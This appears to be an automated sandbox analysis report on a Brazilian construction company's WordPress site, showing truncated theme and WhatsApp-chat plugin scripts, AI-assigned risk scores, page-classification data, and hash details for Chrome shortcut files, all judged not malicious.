(()=>{var e={n:t=>{var a=t&&t.__esModule?()=>t.default:()=>t;return e.d(a,{a}),a},d:(t,a)=>{for(var o in a)e.o(a,o)&&!e.o(t,o)&&Object.defineProperty(t,o,{enumerable:!0,get:a[o]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t)};(()=>{"use strict";const t=window.wp.domReady;var a=e.n(t);const o=()=>window.location.href!==window.parent.location.href,n="starter-templates-iframe-preview-data",r=()=>{let e="";const t=document.querySelector(".site-logo-img img");return t&&(e=t.src),e};let s=r();const l=(e,t)=>{if(!e)return"";if(e){const a=e.match(/'([^']+)'/);return a?a[1]:"inherit"===e?t:e}return t\|\|void 0},i=e=>{switch(e.value.param){case"siteLogo":const t=document.querySelectorAll(".site-logo-img img");""===s&&(s=r());let a=e.value.data.url\|\|s;if(a=e.value.data.dataUri\|\|a,0===t.length&&""!==a){const t=document.createElement("span");t.classList.add("site-logo-img");const o=document.createElement("a");o.setAttribute("class","custom-logo-link"),o.setAttribute("href","#"),o.setAttribute("aria-current","page"),t.appendChild(o);const n=document.createElement("img");n.classList.add("custom-logo"),n.setAttribute("src",a),o.appendChild(n);const r=document.getElementById("ast-desktop-header").querySelectorAll(".ast-site-identity")[0],s=r.querySelectorAll(".ast-site-title-wrap")[0];r.insertBefore(t,s);const l=e.value.data.width\|\|"";""!==l&&(n.style.width=l+"px",n.style.maxWidth=l+"px")}else if(""!==a)for(const[o,n]of Object.entries(t)){n.removeAttribute("srcset"),n.setAttribute("src",a);const t=e.value.data.width;""!==t&&(n.style.width=t+"px",n.style.maxWidth=t+"px")}break;case"colorPalette":const o=e.value.data.colors\|\|[],n=starter_templates_zip_preview.AstColorPaletteVarPrefix,i=starter_templates_zip_preview.AstEleColorPaletteVarPrefix;if(0===o.length){document.querySelector("body").classList.remove("starter-templates-preview-palette");const e=document.getElementsByClassName("starter-templates-preview-palette");return void(e.length>0&&e[0].remove())}document.querySelector("body").classList.add("starter-templates-preview-palette");const d=Object.entries(o).map(((e,t)=>[`--e-global-color-${i[t].replace(/-/g,"")}: ${e[1]};`,`${n}${t}: ${e[1]};`])).map((e=>e.join(""))).join("");let c=document.getElementById("starter-templates-preview-palette-css");c\|\|(c=document.createElement("style"),c.id="starter-templates-preview-palette-css",c.setAttribute("rel","stylesheet"),document.head.appendChild(c)),c.innerHTML=`.starter-templates-preview-palette{ ${d} }`;break;case"siteTypography":if(!Object.keys(e.value.data).length){const e=document.getElementById("starter-templates-typography");return void(e&&e.remove())}(e=>{if(!e)return;if(!document.getElementById("google-fonts-domain")){const e=document.createElement("link");e.id="google-fonts-domain",e.setAttribute("rel","preconnect"),e.setAttribute("href","https://fonts.gstatic.com"),document.head.appendChild(e)}let t=document.getElementById("st-previw-google-fonts-url");t\|\|(t=document.createElement("link"),t.id="st-previw-google-fonts-url",t.setAttribute("rel","stylesheet"),document.head.appendChild(t));const a=[];let o=e["body-font-family"]\|\|"",n=parseInt(e["body-font-weight"])\|\|"";n&&(n=`:wght@${n}`),o&&(o=l(o),o=o.replace(" ","+"),a.push(`family=${o}${n}`));let r=e["headings-font-family"]\|\|"",s=parseInt(e["headings-font-weight"])\|\|"";s&&(s=`:wght@${s}`),r&&(r=l(r,o),r=r.replace(" ","+"),a.push(`family=${r}${s}`));const i=`https://fonts.googleapis.com/css2?${a.join("&")}&display=swap`;t.setAttribute("href",i)})(e.value.data),(e=>{if(!e)return;let t=document.getElementById("starter-templates-typography");t\|\|(t=document.createElement("style"),t.id="starter-templates-typography",t.setAttribute("rel","stylesheet"),document.head.appendChild(t));let a="";a+="body, button, input, select, textarea, .ast-button, .ast-custom-button {",a+="\tfont-family: "+e["body-font-family"]+";",a+="\tfont-weight: "+e["body-font-weight"]+";",a+="\tfont-size: "+e["font-size-body"].desktop+e["font-size-body"]["desktop-unit"]+";",
URL: https://certoconstrutora.com.br/wp-content/plugins... Model: Joe Sandbox AI	{ "risk_score": 5, "reasoning": "The provided JavaScript snippet exhibits a mix of behaviors that require further review. While it appears to have some legitimate functionality related to a chat/messaging feature, it also exhibits several moderate-risk indicators that warrant closer inspection. The script interacts with external domains, performs aggressive DOM manipulation, and uses legacy APIs. Additionally, the presence of obfuscated code and the ability to trigger the chat feature from various entry points (e.g., URL parameters, click events) raise some concerns. Overall, this script requires more analysis to determine the full extent of its behavior and potential risks." }
!function(f,m,v,b){"use strict";function t(){f(v).trigger("joinchat:starting");var t,e,n=1e3b.settings.button_delay,i=1e3b.settings.message_delay,s=!!b.settings.message_hash,o=!!b.$(".joinchat__box").length,a=parseInt(b.store.getItem("joinchat_views")\|\|1)>=b.settings.message_views,h=(b.store.getItem("joinchat_hashes")\|\|"").split(",").filter(Boolean),c=void 0!==b.settings.is_viewed?b.settings.is_viewed:-1!==h.indexOf(b.settings.message_hash\|\|"none");function r(){clearTimeout(e),b.chatbox_show()}function _(){b.save_hash(),b.chatbox_hide()}var l,g,d=!c&&(b.settings.message_badge\|\|!s\|\|!i\|\|!a);function u(){var t=(v.activeElement.type\|\|"").toLowerCase();0<=["date","datetime","email","month","number","password","search","tel","text","textarea","time","url","week"].indexOf(t)?b.chatbox?(b.chatbox_hide(),setTimeout(function(){b.hide()},400)):b.hide():b.show()}setTimeout(function(){b.show(d)},n),s&&i&&!c&&(b.settings.message_badge?e=setTimeout(function(){b.$(".joinchat__badge").addClass("joinchat__badge--in")},n+i):a&&(e=setTimeout(r,n+i))),o&&!b.is_mobile&&b.$(".joinchat__button").on("mouseenter",function(){t=setTimeout(r,1500)}).on("mouseleave",function(){clearTimeout(t)}),b.$(".joinchat__button").on("click",function(){o&&!b.chatbox?r():Date.now()>b.showed_at+600&&(_(),b.open_whatsapp())}),b.$(".joinchat__close").on("click",_),b.$("#joinchat_optin").on("change",function(){b.$div.toggleClass("joinchat--optout",!this.checked)}),b.$(".joinchat__box__scroll").on("mousewheel DOMMouseScroll",function(t){t.preventDefault();t=t.originalEvent.wheelDelta\|\|-t.originalEvent.detail;this.scrollTop+=30(t<0?1:-1)}),b.is_mobile&&(f(v).on("focus blur","input, textarea",function(t){f(t.target).closest(b.$div).length\|\|(clearTimeout(l),l=setTimeout(u,200))}),f(m).on("resize",function(){clearTimeout(g),g=setTimeout(function(){b.$div[0].style.setProperty("--vh",m.innerHeight+"px")},200)}).trigger("resize"));var p,h=new URL(m.location);"#joinchat"==h.hash&&(b.show(),setTimeout(r,700)),h.searchParams.has("joinchat")&&(s=1e3(parseInt(h.searchParams.get("joinchat"))\|\|0),setTimeout(function(){b.show()},s),setTimeout(r,700+s)),f(v).on("click",'.joinchat_open, .joinchat_app, a[href="#joinchat"], a[href="#whatsapp"]',function(t){t.preventDefault(),!o\|\|b.optin()&&!f(this).is('.joinchat_open, a[href="#joinchat"]')?b.open_whatsapp(f(this).data("phone"),f(this).data("message")):r()}),f(v).on("click",".joinchat_close",function(t){t.preventDefault(),b.chatbox_hide()}),o&&"IntersectionObserver"in m&&0<(a=f(".joinchat_show, .joinchat_force_show")).length&&(p=new IntersectionObserver(function(t){f.each(t,function(){if(0<this.intersectionRatio&&(!c\|\|f(this.target).hasClass("joinchat_force_show")))return r(),p.disconnect(),!1})}),a.each(function(){p.observe(this)})),b.use_qr()?b.$(".joinchat__qr").append(b.qr(b.whatsapp_link(void 0,void 0,!1))):b.$(".joinchat__qr").remove(),o&&b.$div.css("--peak","url(#joinchat__peak_"+(b.$div.closest("[dir=rtl]").length?"r":"l")+")"),f(v).trigger("joinchat:start"),b.is_ready=!0}b=f.extend({$div:null,settings:null,store:null,chatbox:!1,showed_at:0,is_ready:!1,is_mobile:!!navigator.userAgent.match(/Android\|iPhone\|BlackBerry\|IEMobile\|Opera Mini/i),can_qr:m.QrCreator&&"function"==typeof QrCreator.render},b),(m.joinchat_obj=b).$=function(t){return f(t\|\|this.$div,this.$div)},b.send_event=function(n){var t,e,i,s;(n=f.extend({event_category:"JoinChat",event_label:"",event_action:"",chat_channel:"whatsapp",chat_id:"--",is_mobile:this.is_mobile?"yes":"no",page_location:location.href,page_title:v.title\|\|"no title"},n)).event_label=n.event_label\|\|n.link\|\|"",n.event_action=n.event_action\|\|n.chat_channel+": "+n.chat_id,delete n.link,!1!==f(v).triggerHandler("joinchat:event",[n])&&(s=m[this.settings.ga_tracker]\|\|m.ga\|\|m.__gaTracker,t=m[this.settings.data_layer]\|\|m[m.gtm4wp_datalayer_name]\|\|m.dataLayer,"function"==typeof s&&"function"==typeof s.getAll&&(s("set","transport","beacon"),s.getAll().forEach(function(t){t.send("event",n.event_category,n.event_acti
URL: https://certoconstrutora.com.br/wp-content/themes/... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The provided JavaScript snippet appears to be a part of the Astra WordPress theme and contains utility functions for DOM manipulation, event handling, and smooth scrolling. While it uses some legacy APIs like `XDomainRequest`, the overall behavior is focused on providing common theme-related functionality and does not exhibit any high-risk indicators. The script seems to be primarily for legitimate purposes, such as handling navigation menus and scroll-to-top functionality, with no clear signs of malicious intent." }
var astraGetParents=function(e,t){Element.prototype.matches\|\|(Element.prototype.matches=Element.prototype.matchesSelector\|\|Element.prototype.mozMatchesSelector\|\|Element.prototype.msMatchesSelector\|\|Element.prototype.oMatchesSelector\|\|Element.prototype.webkitMatchesSelector\|\|function(e){for(var t=(this.document\|\|this.ownerDocument).querySelectorAll(e),a=t.length;0<=--a&&t.item(a)!==this;);return-1<a});for(var a=[];e&&e!==document;e=e.parentNode)(!t\|\|e.matches(t))&&a.push(e);return a},getParents=function(e,t){console.warn("getParents() function has been deprecated since version 2.5.0 or above of Astra Theme and will be removed in the future. Use astraGetParents() instead."),astraGetParents(e,t)},astraToggleClass=function(e,t){e.classList.contains(t)?e.classList.remove(t):e.classList.add(t)},toggleClass=function(e,t){console.warn("toggleClass() function has been deprecated since version 2.5.0 or above of Astra Theme and will be removed in the future. Use astraToggleClass() instead."),astraToggleClass(e,t)},astraTriggerEvent=(!function(){function e(e,t){t=t\|\|{bubbles:!1,cancelable:!1,detail:void 0};var a=document.createEvent("CustomEvent");return a.initCustomEvent(e,t.bubbles,t.cancelable,t.detail),a}"function"!=typeof window.CustomEvent&&(e.prototype=window.Event.prototype,window.CustomEvent=e)}(),function(e,t){var a=new CustomEvent(t,2<arguments.length&&void 0!==arguments[2]?arguments[2]:{});e.dispatchEvent(a)});astraSmoothScroll=function(e,t){e.preventDefault(),window.scrollTo({top:t,left:0,behavior:"smooth"})},astScrollToTopHandler=function(e,t){var a=getComputedStyle(t).content,n=t.dataset.onDevices,a=a.replace(/[^0-9]/g,"");"both"==n\|\|"desktop"==n&&"769"==a\|\|"mobile"==n&&""==a?(n=window.pageYOffset\|\|document.body.scrollTop,e&&e.length?n>e.offsetHeight+100?t.style.display="block":t.style.display="none":300<window.pageYOffset?t.style.display="block":t.style.display="none"):t.style.display="none"},function(){var l=document.querySelectorAll("#masthead .main-header-menu-toggle"),c=document.getElementById("masthead"),i={},d="",u=document.body,m="";function e(e){d=e.detail.type;var t=document.querySelectorAll(".menu-toggle");if("dropdown"===d&&(document.getElementById("ast-mobile-popup").classList.remove("active","show"),g("updateHeader")),"off-canvas"===d)for(var a=0;a<t.length;a++)void 0!==t[a]&&t[a].classList.contains("toggled")&&t[a].click();n(d)}function g(e){m=c.querySelector("#ast-mobile-header");var t="";if(null==m\|\|"dropdown"!==m.dataset.type\|\|"updateHeader"===e){t=(void 0!==e&&"updateHeader"!==e?e.closest(".ast-mobile-popup-inner"):document.querySelector("#ast-mobile-popup")).querySelectorAll(".menu-item-has-children");for(var a=0;a<t.length;a++){t[a].classList.remove("ast-submenu-expanded");for(var n=t[a].querySelectorAll(".sub-menu"),s=0;s<n.length;s++)n[s].style.display="none"}var o=document.querySelectorAll(".menu-toggle");document.body.classList.remove("ast-main-header-nav-open","ast-popup-nav-open"),document.documentElement.classList.remove("ast-off-canvas-active");for(var l=0;l<o.length;l++)o[l].classList.remove("toggled"),o[l].style.display="flex"}}function n(e){var t=document.querySelectorAll("#ast-mobile-header .menu-toggle"),a=document.querySelectorAll("#ast-desktop-header .menu-toggle");if(void 0===e&&null!==c)if(m=c.querySelector("#ast-mobile-header"))e=m.dataset.type;else{var n=c.querySelector("#ast-desktop-header");if(!n)return;e=n.dataset.toggleType}if("off-canvas"===e){var n=document.getElementById("menu-toggle-close"),s=document.querySelector(".ast-mobile-popup-inner");if(null==s)return;popupLinks=s.getElementsByTagName("a");for(var o=0;o<t.length;o++)t[o].removeEventListener("click",astraNavMenuToggle,!1),t[o].addEventListener("click",popupTriggerClick,!1),t[o].trigger_type="mobile";for(o=0;o<a.length;o++)a[o].removeEventListener("click",astraNavMenuToggle,!1),a[o].addEventListener("click",popupTriggerClick,!1),a[o].trigger_type="desktop";n.addEventListener("click",function(e){document.getElementById("ast-m
URL: https://certoconstrutora.com.br/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Construindo certo, seus sonhos.", "prominent_button_name": "Fale agora por WhatsApp", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://certoconstrutora.com.br/ Model: Joe Sandbox AI	{ "brands": [ "Certo Construtora" ] }
	{ "brands": [ "Certo Construtora" ] }

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Jan 15 03:35:00 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9941308985292103
Encrypted:	false
SSDEEP:
MD5:	A8FDFC77B4948169C06E5B4F7126A53A
SHA1:	251D2ABFC445654007D4F3B0143955A2E7CA3FD2
SHA-256:	6218C7431E9BB0E7459AF524A9F69CA30E221EB92916ADF110B0890115F93771
SHA-512:	020A05D5D9EE1D01BB5287E6E47EF897DA5E66B3BE47ABD9196295E82565BB56E36AB17488AD0742BF4782FD859FA449970BE36CC916F282F27260C589C44F3B
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,......^..g..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I/ZS$....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V/Z]$....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V/Z]$....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V/Z]$..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V/Z`$...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Q.<......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Jan 15 03:35:00 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.008163840945324
Encrypted:	false
SSDEEP:
MD5:	16162855FBF9B7A56714C4F1F85F3B2B
SHA1:	680986A11A2AABF2C2FD6A6DAE5291883D6C31E9
SHA-256:	6CDB70645C018C2F45D44C011AF518DDF0967BB2DD3C56D78298F2A55720EC99
SHA-512:	00530D2F4D0C0B6D02DA6CF57013BD061463D29365251A012BB3653ACD4D5EA94550500EBA415790F41FA60B4695F00BEA841CDD360AF36229A6C95A5D8ED6A6
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,......M..g..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I/ZS$....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V/Z]$....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V/Z]$....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V/Z]$..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V/Z`$...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Q.<......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.016528122172976
Encrypted:	false
SSDEEP:
MD5:	ABF7E3C0378F880D5506AF72BA2B75C5
SHA1:	6E10480E006932586CF8E19D6FD2AD92D3848913
SHA-256:	5D78B1FADED7FC42B0D65F4136E4A920E0DEF357500DF9E940CB097B5447CE9A
SHA-512:	9C90FB2D44541F5D559260B39201BF4544968FF70CEF5F648997F92995DC053ACA8921CA4EE4F92A5A21A69C515C526A201BF0EB770F3E083A995F1AE5E58BC6
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I/ZS$....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V/Z]$....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V/Z]$....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V/Z]$..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Q.<......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Jan 15 03:34:59 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	4.00613992999885
Encrypted:	false
SSDEEP:
MD5:	BF235DDE7BFA5343841D3B02D8BDB6D5
SHA1:	7236EFB8588B5A00F0C0C80543DF5BBFA315E49A
SHA-256:	D7198274586F34BF7A0AA8ADAE92730059183F81D0C5300C4E8CF1030DF4D963
SHA-512:	6586C85B444030384833ADCD07AE660C2EFF598DAB02EE792988247F346D247DA1783338448DC3BBA1BE0AFDA7DE3B71E6A2F3DB867FEDDD4461E86B99B9AE00
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....J.E..g..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I/ZS$....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V/Z]$....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V/Z]$....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V/Z]$..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V/Z`$...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Q.<......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Jan 15 03:35:00 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9936935712734445
Encrypted:	false
SSDEEP:
MD5:	3DC2C71FF12CB2F2926BF34651D06A21
SHA1:	5A3418E6BA7EBC2A34651DAFE7D433FFE406E6A6
SHA-256:	C89DAB28CEBECBD3CE8C2DE921D20018EFBD473574CD71758D7FE21BB793467D
SHA-512:	8177E8535E7BD78BC24D24C8ACAB3B807D7D2CDD4F17AD7CEBF42C02721AD0F3268B674C4A23F7A4D7E95B9820173524167920DB16E8A3CC7323CD2D0F78BCA0
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....dW..g..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I/ZS$....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V/Z]$....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V/Z]$....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V/Z]$..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V/Z`$...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Q.<......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Jan 15 03:34:59 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.003232350468543
Encrypted:	false
SSDEEP:
MD5:	6865586A917C701C66F4110954F50949
SHA1:	D4AEA763DF16AF26AB69AE34D77C943CF2C55DA7
SHA-256:	E25C4CA5B7527CAA076DC19D77C6F71AFC180B0FABC26FAD112A0356DAB7D6E8
SHA-512:	1F8AEEEA58767C10166C116A61DD303ED3DE4151BF3162EEDDEFDE14837FC10BECB6562D880E0BFD732FD910AC6B23611BADFE012768AB76DCE3DF1E0784D4C0
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....C8..g..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I/ZS$....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V/Z]$....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V/Z]$....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V/Z]$..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V/Z`$...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Q.<......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Static File Info

⊘No static file info